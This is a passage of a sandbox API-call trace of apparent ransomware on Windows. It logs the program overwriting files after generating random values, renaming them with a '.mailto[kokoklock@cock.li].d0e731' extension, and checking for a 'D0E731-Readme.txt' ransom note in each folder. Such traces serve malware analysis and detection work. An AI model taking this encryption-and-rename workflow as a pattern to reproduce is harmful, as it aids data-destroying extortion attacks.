(lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0165.251] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x76ef8c4 | out: lpFileSize=0x76ef8c4*=69824) returned 1 [0165.251] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.252] ReadFile (in: hFile=0x49c, lpBuffer=0x76ef898, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x76ef894, lpOverlapped=0x0 | out: lpBuffer=0x76ef898*, lpNumberOfBytesRead=0x76ef894*=0x4, lpOverlapped=0x0) returned 1 [0165.252] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.252] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab320 [0165.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab398 [0165.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab280 [0165.253] NtQuerySystemTime (in: CurrentTime=0x76ef870 | out: CurrentTime=0x76ef870*=132121213225684291) returned 0x0 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xbbfa6115 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x73f0d181 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x3f27c922 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x179e73a2 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xa3d02c5a [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xe32a6513 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x8be08101 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xa614ca9c [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x7cab811b [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xd6626ef5 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xa3a5f616 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xded9612b [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x83522008 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xaf38138e [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xb96095c6 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xcbcccfc4 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xe0784a02 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x3e685e60 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xd0e463d5 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x3f8eb859 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x8aa96cf6 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x12af145f [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x37c42b40 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xb1fb5333 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xc47aecfb [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xdeb1a0e7 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x4b0ab6e9 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0xce9e2036 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x2c47f063 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x907ca4e5 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x56d50710 [0165.253] RtlRandom (in: Seed=0x76ef87c | out: Seed=0x76ef87c) returned 0x88b395f9 [0165.263] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0165.265] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab0b0 [0165.265] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0165.265] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab0b0) returned 1 [0165.265] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab320) returned 1 [0165.265] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0165.265] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.265] ReadFile (in: hFile=0x49c, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x76ef848, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x76ef848*=0x4096, lpOverlapped=0x0) returned 1 [0165.266] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f871a0 [0165.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faab10 [0165.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2a8 [0165.266] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2a8) returned 1 [0165.266] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0165.267] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5a0 [0165.267] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5c8 [0165.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5c8) returned 1 [0165.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faab10) returned 1 [0165.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0165.267] WriteFile (in: hFile=0x49c, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x76ef848, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0x76ef848*=0x4096, lpOverlapped=0x0) returned 1 [0165.267] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0165.267] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.267] WriteFile (in: hFile=0x49c, lpBuffer=0x2fab5a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x76ef880, lpOverlapped=0x0 | out: lpBuffer=0x2fab5a0*, lpNumberOfBytesWritten=0x76ef880*=0x20, lpOverlapped=0x0) returned 1 [0165.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5a0) returned 1 [0165.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0165.268] WriteFile (in: hFile=0x49c, lpBuffer=0x2fab668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x76ef894, lpOverlapped=0x0 | out: lpBuffer=0x2fab668*, lpNumberOfBytesWritten=0x76ef894*=0x8, lpOverlapped=0x0) returned 1 [0165.268] WriteFile (in: hFile=0x49c, lpBuffer=0x76ef8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x76ef894, lpOverlapped=0x0 | out: lpBuffer=0x76ef8ac*, lpNumberOfBytesWritten=0x76ef894*=0x4, lpOverlapped=0x0) returned 1 [0165.268] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x76ef894, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x76ef894*=0x4, lpOverlapped=0x0) returned 1 [0165.268] WriteFile (in: hFile=0x49c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x76ef894, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x76ef894*=0x6c, lpOverlapped=0x0) returned 1 [0165.268] WriteFile (in: hFile=0x49c, lpBuffer=0x2fab398*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x76ef894, lpOverlapped=0x0 | out: lpBuffer=0x2fab398*, lpNumberOfBytesWritten=0x76ef894*=0x20, lpOverlapped=0x0) returned 1 [0165.268] WriteFile (in: hFile=0x49c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x76ef894, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x76ef894*=0x4, lpOverlapped=0x0) returned 1 [0165.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab398) returned 1 [0165.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0165.268] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab668) returned 1 [0165.268] CloseHandle (hObject=0x49c) returned 1 [0165.269] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfa) returned 0x2fc2ea0 [0165.269] wcscpy (in: _Dest=0x2fc2ea0, _Source="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.269] wcscat (in: _Dest=0x2fc2ea0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.269] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.269] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2ea0) returned 1 [0165.270] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0165.270] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f7fea0 [0165.270] wcscpy (in: _Dest=0x2f7fea0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.270] wcscat (in: _Dest=0x2f7fea0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0165.270] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0165.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fea0) returned 1 [0165.270] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99318) returned 1 [0165.270] RtlExitUserThread (Status=0x1) Thread: id = 1551 os_tid = 0xf18 [0165.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87428 [0165.271] wcscpy (in: _Dest=0x2f87428, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025" [0165.271] wcscat (in: _Dest=0x2f87428, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0165.271] wcscat (in: _Dest=0x2f87428, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1025\\*") returned="C:\\588bce7c90097ed212\\1025\\*" [0165.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f8f458 [0165.271] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2f8f458 | out: lpFindFileData=0x2f8f458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8413fc8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8413fc8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fea0 [0165.273] wcscmp (_String1=".", _String2=".") returned 0 [0165.274] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f8f458 | out: lpFindFileData=0x2f8f458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8413fc8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8413fc8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.274] wcscmp (_String1="..", _String2=".") returned 1 [0165.274] wcscmp (_String1="..", _String2="..") returned 0 [0165.274] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f8f458 | out: lpFindFileData=0x2f8f458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8413fc8f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8413fc8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8413fc8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.274] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.274] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.274] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f8f458 | out: lpFindFileData=0x2f8f458*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82c16d3a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1e4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.274] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.274] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f63c80 [0165.274] wcscpy (in: _Dest=0x2f63c80, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025" [0165.274] wcscat (in: _Dest=0x2f63c80, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0165.274] wcscat (in: _Dest=0x2f63c80, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f63c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0165.700] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f8f458 | out: lpFindFileData=0x2f8f458*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x8413fc8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x122a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.700] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.700] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.700] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2feecc0 [0165.700] wcscpy (in: _Dest=0x2feecc0, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025" [0165.700] wcscat (in: _Dest=0x2feecc0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0165.700] wcscat (in: _Dest=0x2feecc0, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feecc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0165.701] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f8f458 | out: lpFindFileData=0x2f8f458*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.701] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.701] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.701] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2f8f458 | out: lpFindFileData=0x2f8f458*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.701] FindClose (in: hFindFile=0x2f7fea0 | out: hFindFile=0x2f7fea0) returned 1 [0165.702] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0165.702] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0165.702] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80620) returned 1 [0165.702] RtlExitUserThread (Status=0x0) Thread: id = 1552 os_tid = 0xf1c [0165.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87350 [0165.274] wcscpy (in: _Dest=0x2f87350, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028" [0165.274] wcscat (in: _Dest=0x2f87350, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0165.274] wcscat (in: _Dest=0x2f87350, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1028\\*") returned="C:\\588bce7c90097ed212\\1028\\*" [0165.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f96220 [0165.275] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2f96220 | out: lpFindFileData=0x2f96220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8185d61e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8185d61e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ff20 [0165.276] wcscmp (_String1=".", _String2=".") returned 0 [0165.276] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f96220 | out: lpFindFileData=0x2f96220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8185d61e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8185d61e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.277] wcscmp (_String1="..", _String2=".") returned 1 [0165.277] wcscmp (_String1="..", _String2="..") returned 0 [0165.277] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f96220 | out: lpFindFileData=0x2f96220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8180e08c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8180e08c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8180e08c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.277] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.277] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.277] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f96220 | out: lpFindFileData=0x2f96220*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x817ec6c3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1965, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.277] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.277] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.277] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f6fad8 [0165.277] wcscpy (in: _Dest=0x2f6fad8, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028" [0165.277] wcscat (in: _Dest=0x2f6fad8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0165.277] wcscat (in: _Dest=0x2f6fad8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6fad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0165.696] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f96220 | out: lpFindFileData=0x2f96220*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x8185d61e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xee50, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.696] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.696] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2feec18 [0165.697] wcscpy (in: _Dest=0x2feec18, _Source="C:\\588bce7c90097ed212\\1028" | out: _Dest="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028" [0165.697] wcscat (in: _Dest=0x2feec18, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0165.697] wcscat (in: _Dest=0x2feec18, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feec18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0165.697] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f96220 | out: 